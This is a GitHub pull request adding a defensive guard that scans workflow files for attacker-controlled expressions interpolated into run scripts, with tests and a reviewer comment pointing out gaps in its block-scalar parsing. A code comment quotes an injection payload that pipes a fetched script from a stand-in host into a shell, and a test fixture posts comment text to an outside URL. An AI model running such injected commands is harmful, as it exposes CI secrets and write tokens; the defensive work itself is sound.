-
Notifications
You must be signed in to change notification settings - Fork 35
feat(guards): reject untrusted interpolation in workflow run scripts #194
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
OnLocation-acumbal-contractor
wants to merge
1
commit into
theam:main
Choose a base branch
from
OnLocation-acumbal-contractor:feat/guard-untrusted-interpolation
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,70 @@ | ||
| // Generated by facility — https://github.com/theam/facility | ||
| // | ||
| // Attacker-controlled text must never reach a shell parser. GitHub expands | ||
| // `${{ … }}` into the script body *before* bash sees it, so an issue titled | ||
| // `"; curl evil.sh | sh; #` runs on a runner that holds your secrets and a | ||
| // write token. Hardening note 3: read the payload with `jq` from | ||
| // `$GITHUB_EVENT_PATH`, or bind the value to an `env:` variable and quote the | ||
| // reference (`"$TITLE"`) — `env:` is not a shell context, so it is safe. | ||
| import { applyAllowlist, listFiles, readText } from "./_kit.mjs"; | ||
|
|
||
| // key: "<file>:<line>:<expression>", value: written reason. A justified entry | ||
| // is rare: the safe rewrite is almost always an `env:` binding. | ||
| const ALLOWLIST = {}; | ||
|
|
||
| // Fields an outside contributor can set. Deliberately not exhaustive — | ||
| // extend it as GitHub adds event types, and prefer a false positive fixed by | ||
| // an `env:` binding over a false negative that ships. | ||
| const UNTRUSTED = [ | ||
| /\bgithub\.head_ref\b/, | ||
| /\bgithub\.event\.(issue|pull_request|discussion)\.(title|body)\b/, | ||
| /\bgithub\.event\.(comment|review|review_comment)\.body\b/, | ||
| /\bgithub\.event\.pull_request\.head\.(ref|label|repo\.[\w.]+)\b/, | ||
| /\bgithub\.event\.(head_commit|commits\b[^.]*)\.(message|author\.(name|email))\b/, | ||
| /\bgithub\.event\.workflow_run\.(head_branch|display_title)\b/, | ||
| /\bgithub\.event\.pages\b[^.]*\.page_name\b/, | ||
| /\bgithub\.event\.discussion\.category\.\w+\b/, | ||
| ]; | ||
|
|
||
| /** Block scalar headers: `|`, `>`, `|-`, `>+`, `|2`, … */ | ||
| const BLOCK_SCALAR = /^[|>][-+]?\d*$/; | ||
|
|
||
| export default { | ||
| name: "workflow-untrusted-interpolation", | ||
| description: "workflow `run:` scripts never interpolate attacker-controlled `${{ … }}` values", | ||
| run() { | ||
| const violations = []; | ||
| for (const file of listFiles(".github/workflows", [".yml", ".yaml"])) { | ||
| const lines = readText(file).split("\n"); | ||
| // Indentation of the `run:` key whose block scalar we are inside, or null. | ||
| let blockIndent = null; | ||
| lines.forEach((line, index) => { | ||
| const indent = line.search(/\S/); | ||
| if (blockIndent !== null && indent !== -1 && indent <= blockIndent) blockIndent = null; | ||
|
|
||
| let script = null; | ||
| const key = line.match(/^\s*(?:-\s+)?run:\s*(.*)$/); | ||
| if (key) { | ||
| const rest = key[1].trim(); | ||
| if (rest === "" || BLOCK_SCALAR.test(rest)) blockIndent = line.indexOf("run:"); | ||
| else script = rest; // single-line `run: …` | ||
| } else if (blockIndent !== null) { | ||
| script = line; // continuation of the block scalar | ||
| } | ||
| if (script === null) return; | ||
|
|
||
| for (const match of script.matchAll(/\$\{\{([\s\S]*?)\}\}/g)) { | ||
| const expression = match[1].trim(); | ||
| if (!UNTRUSTED.some((pattern) => pattern.test(expression))) continue; | ||
| violations.push({ | ||
| file, | ||
| line: index + 1, | ||
| key: `${file}:${index + 1}:${expression}`, | ||
| message: `\`\${{ ${expression} }}\` is attacker-controlled and is expanded into this shell script. Bind it to an \`env:\` variable and quote the reference, or read it with \`jq\` from "$GITHUB_EVENT_PATH".`, | ||
| }); | ||
| } | ||
| }); | ||
| } | ||
| return applyAllowlist(violations, ALLOWLIST); | ||
| }, | ||
| }; | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
70 changes: 70 additions & 0 deletions
70
packages/cli/templates/guards/workflow-untrusted-interpolation.mjs
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,70 @@ | ||
| // Generated by facility — https://github.com/theam/facility | ||
| // | ||
| // Attacker-controlled text must never reach a shell parser. GitHub expands | ||
| // `${{ … }}` into the script body *before* bash sees it, so an issue titled | ||
| // `"; curl evil.sh | sh; #` runs on a runner that holds your secrets and a | ||
| // write token. Hardening note 3: read the payload with `jq` from | ||
| // `$GITHUB_EVENT_PATH`, or bind the value to an `env:` variable and quote the | ||
| // reference (`"$TITLE"`) — `env:` is not a shell context, so it is safe. | ||
| import { applyAllowlist, listFiles, readText } from "./_kit.mjs"; | ||
|
|
||
| // key: "<file>:<line>:<expression>", value: written reason. A justified entry | ||
| // is rare: the safe rewrite is almost always an `env:` binding. | ||
| const ALLOWLIST = {}; | ||
|
|
||
| // Fields an outside contributor can set. Deliberately not exhaustive — | ||
| // extend it as GitHub adds event types, and prefer a false positive fixed by | ||
| // an `env:` binding over a false negative that ships. | ||
| const UNTRUSTED = [ | ||
| /\bgithub\.head_ref\b/, | ||
| /\bgithub\.event\.(issue|pull_request|discussion)\.(title|body)\b/, | ||
| /\bgithub\.event\.(comment|review|review_comment)\.body\b/, | ||
| /\bgithub\.event\.pull_request\.head\.(ref|label|repo\.[\w.]+)\b/, | ||
| /\bgithub\.event\.(head_commit|commits\b[^.]*)\.(message|author\.(name|email))\b/, | ||
| /\bgithub\.event\.workflow_run\.(head_branch|display_title)\b/, | ||
| /\bgithub\.event\.pages\b[^.]*\.page_name\b/, | ||
| /\bgithub\.event\.discussion\.category\.\w+\b/, | ||
| ]; | ||
|
|
||
| /** Block scalar headers: `|`, `>`, `|-`, `>+`, `|2`, … */ | ||
| const BLOCK_SCALAR = /^[|>][-+]?\d*$/; | ||
|
|
||
| export default { | ||
| name: "workflow-untrusted-interpolation", | ||
| description: "workflow `run:` scripts never interpolate attacker-controlled `${{ … }}` values", | ||
| run() { | ||
| const violations = []; | ||
| for (const file of listFiles(".github/workflows", [".yml", ".yaml"])) { | ||
| const lines = readText(file).split("\n"); | ||
| // Indentation of the `run:` key whose block scalar we are inside, or null. | ||
| let blockIndent = null; | ||
| lines.forEach((line, index) => { | ||
| const indent = line.search(/\S/); | ||
| if (blockIndent !== null && indent !== -1 && indent <= blockIndent) blockIndent = null; | ||
|
|
||
| let script = null; | ||
| const key = line.match(/^\s*(?:-\s+)?run:\s*(.*)$/); | ||
| if (key) { | ||
| const rest = key[1].trim(); | ||
| if (rest === "" || BLOCK_SCALAR.test(rest)) blockIndent = line.indexOf("run:"); | ||
| else script = rest; // single-line `run: …` | ||
| } else if (blockIndent !== null) { | ||
| script = line; // continuation of the block scalar | ||
| } | ||
| if (script === null) return; | ||
|
|
||
| for (const match of script.matchAll(/\$\{\{([\s\S]*?)\}\}/g)) { | ||
| const expression = match[1].trim(); | ||
| if (!UNTRUSTED.some((pattern) => pattern.test(expression))) continue; | ||
| violations.push({ | ||
| file, | ||
| line: index + 1, | ||
| key: `${file}:${index + 1}:${expression}`, | ||
| message: `\`\${{ ${expression} }}\` is attacker-controlled and is expanded into this shell script. Bind it to an \`env:\` variable and quote the reference, or read it with \`jq\` from "$GITHUB_EVENT_PATH".`, | ||
| }); | ||
| } | ||
| }); | ||
| } | ||
| return applyAllowlist(violations, ALLOWLIST); | ||
| }, | ||
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,83 @@ | ||
| import assert from "node:assert/strict"; | ||
| import { mkdirSync, mkdtempSync, writeFileSync } from "node:fs"; | ||
| import { tmpdir } from "node:os"; | ||
| import { join } from "node:path"; | ||
| import { test } from "node:test"; | ||
| import guard from "../templates/guards/workflow-untrusted-interpolation.mjs"; | ||
|
|
||
| /** Run the guard against a workflow file in a throwaway repository. */ | ||
| function runOn(workflow) { | ||
| const root = mkdtempSync(join(tmpdir(), "facility-guard-")); | ||
| mkdirSync(join(root, ".github/workflows"), { recursive: true }); | ||
| writeFileSync(join(root, ".github/workflows/test.yml"), workflow); | ||
| const cwd = process.cwd(); | ||
| process.chdir(root); | ||
| try { | ||
| return guard.run(); | ||
| } finally { | ||
| process.chdir(cwd); | ||
| } | ||
| } | ||
|
|
||
| test("flags attacker-controlled text interpolated into a single-line run script", () => { | ||
| const violations = runOn(`jobs: | ||
| a: | ||
| steps: | ||
| - run: echo "\${{ github.event.issue.title }}" | ||
| `); | ||
| assert.equal(violations.length, 1); | ||
| assert.equal(violations[0].line, 4); | ||
| assert.match(violations[0].message, /attacker-controlled/); | ||
| }); | ||
|
|
||
| test("flags interpolation inside literal and folded block scalars", () => { | ||
| const violations = runOn(`jobs: | ||
| a: | ||
| steps: | ||
| - run: | | ||
| curl -d "\${{ github.event.comment.body }}" https://example.test | ||
| - run: > | ||
| echo \${{ github.event.head_commit.message }} | ||
| `); | ||
| assert.deepEqual( | ||
| violations.map((violation) => violation.line), | ||
| [5, 7], | ||
| ); | ||
| }); | ||
|
|
||
| test("allows env bindings, action inputs and job conditions", () => { | ||
| const violations = runOn(`jobs: | ||
| a: | ||
| if: contains(github.event.comment.body, '/builder') | ||
| steps: | ||
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 | ||
| with: | ||
| ref: \${{ github.event.pull_request.head.ref }} | ||
| - env: | ||
| TITLE: \${{ github.event.pull_request.title }} | ||
| run: node scripts/check.mjs "$TITLE" | ||
| `); | ||
| assert.deepEqual(violations, []); | ||
| }); | ||
|
|
||
| test("allows trusted contexts inside a run script", () => { | ||
| const violations = runOn(`jobs: | ||
| a: | ||
| steps: | ||
| - run: echo "\${{ github.sha }} \${{ github.repository }} \${{ runner.os }}" | ||
| `); | ||
| assert.deepEqual(violations, []); | ||
| }); | ||
|
|
||
| test("stops treating lines as script once the block scalar is dedented", () => { | ||
| const violations = runOn(`jobs: | ||
| a: | ||
| steps: | ||
| - run: | | ||
| echo hello | ||
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 | ||
| with: | ||
| node-version: \${{ github.event.pull_request.title }} | ||
| `); | ||
| assert.deepEqual(violations, []); | ||
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Valid block-scalar headers can include comments, such as
run: | # explanation, and can place the indentation indicator before the chomping indicator, such asrun: |2-. The current regex does not recognize either form, so the following script is never scanned. I reproduced both cases with untrusted expressions and received no violations. Could we support the complete block-scalar header syntax and add regression tests for these cases?